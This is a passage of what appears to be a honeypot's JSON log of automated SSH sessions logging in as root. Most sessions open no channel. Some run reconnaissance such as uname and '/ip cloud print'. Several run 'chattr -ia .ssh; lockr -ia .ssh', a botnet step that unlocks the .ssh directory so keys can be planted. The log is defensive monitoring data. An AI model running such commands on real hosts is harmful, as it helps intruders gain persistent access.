  "src_port": 45560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T21:55:39.846215+00:00",
  "ended_at": "2026-08-23T21:55:42.198020+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e1d09063-e7c4-42b3-ae16-ccca390fefce",
  "name": "forlorn-cobalt-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 12588,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T21:35:16.057563+00:00",
  "ended_at": "2026-08-23T21:35:19.089436+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "542f44bd-fb96-4508-b1fb-339c9fa99254",
  "name": "steady-foggy-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T21:29:24.599691+00:00",
  "ended_at": "2026-08-23T21:29:25.998389+00:00",
  "ended_reason": "exec complete",
  "commands": 3,
  "transcript_bytes": 233
 },
 {
  "id": "32e2d93d-ea79-42cd-ac8e-b1c4494e3a69",
  "name": "sunlit-slender-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T21:28:52.931034+00:00",
  "ended_at": "2026-08-23T21:28:54.685001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "66698221-9476-4ee7-81f6-7bc704f690a4",
  "name": "loyal-barren-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55930,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T21:28:51.878061+00:00",
  "ended_at": "2026-08-23T21:28:54.686335+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1667
 },
 {
  "id": "ab1b937d-a056-4f39-9c0c-f216b9b615b6",
  "name": "nameless-murky-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "163.7.3.26",
  "src_port": 58822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 763,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T21:19:15.453482+00:00",
  "ended_at": "2026-08-23T21:19:15.691786+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3571
 },
 {
  "id": "1a6f0d99-cdf7-4fa7-a636-73c8aecf0281",
  "name": "sandy-verdant-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "163.7.3.26",
  "src_port": 52850,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T21:18:56.399754+00:00",
  "ended_at": "2026-08-23T21:18:56.770021+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b772d6e3-f3c4-421f-90eb-ea742ea08510",
  "name": "prairie-blunt-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "163.7.3.26",
  "src_port": 53502,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T21:18:35.678458+00:00",
  "ended_at": "2026-08-23T21:18:37.336685+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "569cecca-b67f-4e72-9057-3f8a62fabfea",
  "name": "bold-nameless-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "163.7.3.26",
  "src_port": 39008,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T21:14:44.208770+00:00",
  "ended_at": "2026-08-23T21:14:45.682096+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e32f24cb-9771-4e0e-a287-f4cc6405e749",
  "name": "curious-verdant-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.205.57.72",
  "src_port": 58192,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:57:06.477135+00:00",
  "ended_at": "2026-08-23T20:57:07.106326+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bd5a153-543a-4a96-9547-915894df9901",
  "name": "feral-vivid-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.206.205",
  "src_port": 56580,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:54:54.791283+00:00",
  "ended_at": "2026-08-23T20:54:55.570007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35cfb8eb-0bf7-4f3c-8e82-7bc92dacb0f0",
  "name": "steady-cheerful-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "87.106.63.76",
  "src_port": 35932,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T19:03:55.913807+00:00",
  "ended_at": "2026-08-23T19:03:55.985138+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3961
 },
 {
  "id": "355bf0e9-af51-4095-a74b-f337b280b301",
  "name": "rustic-early-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.63.76",
  "src_port": 46046,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T19:03:41.658617+00:00",
  "ended_at": "2026-08-23T19:03:41.827997+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b4a4c94-ea12-40c8-af56-aadb892fe8d5",
  "name": "sooty-cheerful-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.63.76",
  "src_port": 35946,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T19:03:31.958195+00:00",
  "ended_at": "2026-08-23T19:03:32.740520+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c823145-3044-42f0-802c-fbfb6fd07b13",
  "name": "meadow-dapper-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.235.9",
  "src_port": 38966,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:00:11.762165+00:00",
  "ended_at": "2026-08-23T17:00:13.539016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1cd37643-d6fd-4eb0-9ce8-fecfb4a37c13",
  "name": "hazel-thawing-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "4.224.40.94",
  "src_port": 47668,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:08:04.172080+00:00",
  "ended_at": "2026-08-23T16:08:05.176005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d41a073-e476-4306-869a-9587dd570c0a",
  "name": "serene-seaward-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 36284,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T15:29:54.985195+00:00",
  "ended_at": "2026-08-23T15:29:56.721064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39ce8391-b106-4511-b4f4-67c53d8484c5",
  "name": "grassy-verdant-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.12.1.49",
  "src_port": 56616,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T15:22:06.563091+00:00",
  "ended_at": "2026-08-23T15:22:07.469906+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d2528ea-292b-4015-8081-810d452bac4a",
  "name": "nameless-indigo-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.125.227",
  "src_port": 59792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "uname -s -m",
  "started_at": "2026-08-23T15:21:54.250265+00:00",
  "ended_at": "2026-08-23T15:21:59.664059+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 23
 },
 {
  "id": "68f7080b-87f9-4c3f-9531-fe15aff479cd",
  "name": "cobalt-stormy-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.125.227",
  "src_port": 55852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T15:20:55.099492+00:00",
  "ended_at": "2026-08-23T15:21:06.010043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b3e3ce0-503e-4a27-bf9e-2b77a9e15f14",
  "name": "steady-spirited-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.125.227",
  "src_port": 59604,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T15:20:18.615097+00:00",
  "ended_at": "2026-08-23T15:20:28.631011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77d7bb89-7144-4985-bbbd-8ae208e9c901",
  "name": "gentle-frugal-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
  "src_port": 23736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:52:42.434148+00:00",
  "ended_at": "2026-08-23T13:52:44.811606+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54c7eec2-7b8b-4377-8aa8-068f135175b0",
  "name": "wooded-nimble-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.199.36",
  "src_port": 41920,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:47:35.073171+00:00",
  "ended_at": "2026-08-23T13:47:36.276132+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bdaf581a-cda9-473b-b316-93f54c67069b",
  "name": "foggy-cunning-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.63.62.103",
  "src_port": 38488,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 917,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:46:37.478805+00:00",
  "ended_at": "2026-08-23T13:46:37.768414+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3538
 },
 {
  "id": "1947cffd-b619-4320-bcd8-472ea3dbf387",
  "name": "frosty-fickle-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.63.62.103",
  "src_port": 45256,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:46:16.864090+00:00",
  "ended_at": "2026-08-23T13:46:17.239129+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e188238-bf28-4334-be52-dc8800d8ab7f",
  "name": "tidal-indigo-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.63.62.103",
  "src_port": 49812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:45:56.715081+00:00",
  "ended_at": "2026-08-23T13:45:58.354998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1630763a-1328-4896-a396-c8eac5e9fdbc",
  "name": "frank-nautical-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.63.62.103",
  "src_port": 34728,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:41:47.553803+00:00",
  "ended_at": "2026-08-23T13:41:48.507007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "ed8d25c5-7e60-413f-9856-a022cf34b006",
  "name": "prairie-knotted-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.188.16.97",
  "src_port": 50794,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:32:09.607154+00:00",
  "ended_at": "2026-08-23T13:32:10.469038+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c49a61b-faa1-4273-a8f7-fc673442e87b",
  "name": "golden-drifting-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.188.16.97",
  "src_port": 49718,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:25:29.119150+00:00",
  "ended_at": "2026-08-23T13:25:30.554053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfca8c89-ca5e-4dc9-a69d-3d2a4c1e8d89",
  "name": "muted-fearless-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "211.221.196.103",
  "src_port": 35816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T12:58:12.134118+00:00",
  "ended_at": "2026-08-23T12:58:14.238006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06a66b97-3054-4594-bd93-d283dc5c04b6",
  "name": "rambling-honest-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "211.221.196.103",
  "src_port": 34052,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T12:58:07.081121+00:00",
  "ended_at": "2026-08-23T12:58:09.030818+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "68a5a21a-6ef2-41b7-9206-d0572ed6baa4",
  "name": "alpine-plucky-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "84.74.163.210",
  "src_port": 54812,
  "username": "root",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": 473,
  "probe_flagged": 0,
  "exec_command": "/ip cloud print",
  "started_at": "2026-08-23T11:31:00.862069+00:00",
  "ended_at": "2026-08-23T11:31:47.614046+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 4070
 },
 {
  "id": "fdfb2412-539b-495f-b971-b5d8cc52e932",
  "name": "brave-brazen-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 13872,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T10:19:39.492014+00:00",
  "ended_at": "2026-08-23T10:19:43.171897+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90e6164d-9020-45e3-ae9b-b4c6ff5c10dc",
  "name": "ginger-lonesome-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:52:19.951085+00:00",
  "ended_at": "2026-08-23T09:52:21.018625+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4971b279-8eb4-46f9-ad99-4af3a369fb2b",
  "name": "downy-supple-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:52:17.003067+00:00",
  "ended_at": "2026-08-23T09:52:19.212496+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d72405aa-8a10-4780-9b83-e512ad38f697",
  "name": "thrifty-freckled-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:52:15.337106+00:00",
  "ended_at": "2026-08-23T09:52:16.252996+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e35a9b28-5924-4b7f-ba13-2291676503cb",
  "name": "spirited-rapid-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:52:13.376075+00:00",
  "ended_at": "2026-08-23T09:52:14.635654+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2cd2dc57-89ca-4619-8330-2f025caab137",
  "name": "cunning-dapper-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:52:11.679011+00:00",
  "ended_at": "2026-08-23T09:52:12.657439+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9d9e5971-2ecd-4d85-a5fd-fcd390ba4a7c",
  "name": "distant-amiable-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42284,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:52:09.328074+00:00",
  "ended_at": "2026-08-23T09:52:10.871999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d2153d6-ed8d-49c6-87d8-ed068fcf17fa",
  "name": "kindly-wistful-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43338,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:52:06.391069+00:00",
  "ended_at": "2026-08-23T09:52:08.586593+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d3b12b84-9f90-46ec-aef7-dc494ce124c8",
  "name": "gloomy-lawful-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:52:04.748269+00:00",
  "ended_at": "2026-08-23T09:52:05.658617+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dfbec276-ebd5-48ab-9ac3-e41200cff65c",
  "name": "brazen-emerald-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:52:02.165064+00:00",
  "ended_at": "2026-08-23T09:52:03.937041+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03b6b6d0-427f-4115-bb9f-becf8f749873",
  "name": "marbled-gallant-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:59.270946+00:00",
  "ended_at": "2026-08-23T09:52:01.295212+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7e242270-9608-4b4d-bbf5-8e1ea0810a00",
  "name": "fleeting-boreal-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:56.660098+00:00",
  "ended_at": "2026-08-23T09:51:58.520624+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "df607c08-0b53-41de-b542-a98c27f2c436",
  "name": "murky-supple-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54284,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:54.481623+00:00",
  "ended_at": "2026-08-23T09:51:55.925580+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "313f1ef7-c2bc-421a-b4e7-a4f24599959f",
  "name": "marbled-lonesome-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54274,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:52.462760+00:00",
  "ended_at": "2026-08-23T09:51:53.713013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e3299e9a-8299-47a9-b708-824cad46d36f",
  "name": "keen-vaulted-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:50.029154+00:00",
  "ended_at": "2026-08-23T09:51:51.818040+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e34734de-46b6-4b41-9d17-69a8aa4e37d1",
  "name": "supple-solar-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35674,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:48.246067+00:00",
  "ended_at": "2026-08-23T09:51:49.307877+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "89930227-8979-45a0-8996-0c657ef3f035",
  "name": "ashen-balmy-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35666,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:45.780107+00:00",
  "ended_at": "2026-08-23T09:51:47.470263+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ce345462-e5b6-4c9c-a355-7db1781526f1",
  "name": "hazy-subtle-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:43.955194+00:00",
  "ended_at": "2026-08-23T09:51:45.119020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7ea2c601-75d7-4aaf-9d94-36815e1f2fcd",
  "name": "vivid-sterling-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
